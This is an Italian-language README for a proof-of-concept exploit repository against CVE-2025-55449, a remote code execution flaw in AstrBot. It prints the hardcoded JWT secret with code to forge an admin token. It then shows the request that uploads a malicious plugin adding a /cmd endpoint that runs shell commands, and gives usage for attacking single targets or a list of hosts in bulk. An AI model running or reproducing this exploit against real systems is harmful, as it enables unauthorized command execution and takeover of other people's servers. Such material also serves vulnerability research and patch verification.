
CVE-2025-55449 EXP
Questa repository contiene un proof-of-concept di exploit per CVE-2025-55449, una vulnerabilità critica di Remote Code Execution (RCE) in AstrBot. La vulnerabilità consente a un attaccante di eseguire codice arbitrario sul sistema target sfruttando una debole autenticazione JWT e il meccanismo di installazione dei plugin.
La vulnerabilità esiste a causa di:
Chiave segreta JWT hardcoded: AstrBot utilizza una chiave segreta JWT hardcoded (Advanced_System_for_Text_Response_and_Bot_Operations_Tool) per l'autenticazione, consentendo agli attaccanti di forgiare token di autenticazione validi.
Installazione dei plugin senza restrizioni: L'endpoint /api/plugin/install-upload consente agli utenti autenticati di caricare e installare plugin senza una validazione adeguata, permettendo l'esecuzione di codice Python arbitrario.
Esecuzione di codice tramite il sistema dei plugin: Il sistema dei plugin consente ai plugin di modificare il routing dell'applicazione ed eseguire comandi arbitrari tramite l'istanza dell'applicazione Flask/Quart.
Forgiatura del token JWT: L'exploit forgia un token JWT utilizzando la chiave segreta hardcoded con privilegi di amministratore.
Vulnerabilità di esecuzione di codice:La vulnerabilità di remote code execution nel backend sfrutta la funzionalità integrata di estensione tramite plugin dell'applicazione, consentendo agli utenti di caricare pacchetti di plugin personalizzati. Il programma decomprime i pacchetti, legge le informazioni del plugin, importa il file Python dell'oggetto ed esegue il codice.
1. Forge JWT token with hardcoded secret
2. Create malicious plugin ZIP file
3. POST to /api/plugin/install-upload with forged token
4. Plugin installs and adds /cmd endpoint
5. Execute commands via /cmd?cmd=<command>
jwt (PyJWT)requestszipfile (integrato)argparse (integrato)datetime (integrato)pathlib (integrato)git clone <repository-url>
cd CVE-2025-55449
pip install PyJWT requests
Esegui l'exploit contro un singolo URL target:
python main.py http://target-ip:port
Crea un file (ip.txt) con un URL per riga:
http://target1:6185
http://target2:6185
http://target3:6185
Quindi esegui:
python main.py -r ip.txt
Se l'exploit ha successo, lo script restituirà:
http://target-ip:port/cmd?cmd=id
Puoi quindi eseguire comandi accedendo a:
http://target-ip:port/cmd?cmd=<your-command>
Per esempio:
http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la
CVE-2025-55449/
├── main.py # Main exploit script
├── ip.txt # Example target URLs file
├── README.md # This file
└── helloworld/ # Malicious plugin directory
├── main.py # Plugin code that adds /cmd endpoint
├── metadata.yaml # Plugin metadata
├── LICENSE # Plugin license
└── README.md # Plugin readme
L'exploit utilizza la chiave segreta JWT hardcoded per creare un token di autenticazione valido:
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
Il plugin (helloworld/main.py) sfrutta il sistema di importazione di Python e l'istanza dell'applicazione Flask/Quart per iniettare una nuova route:
# The plugin finds the Quart application instance and adds a /cmd route
# that executes arbitrary commands via os.popen()
L'exploit impacchetta il plugin come file ZIP e lo carica tramite l'endpoint autenticato:
requests.post(
url + "/api/plugin/install-upload",
headers={"Authorization": "Bearer " + forged},
files={"file": (name + ".zip", zip_payload_bytes)}
)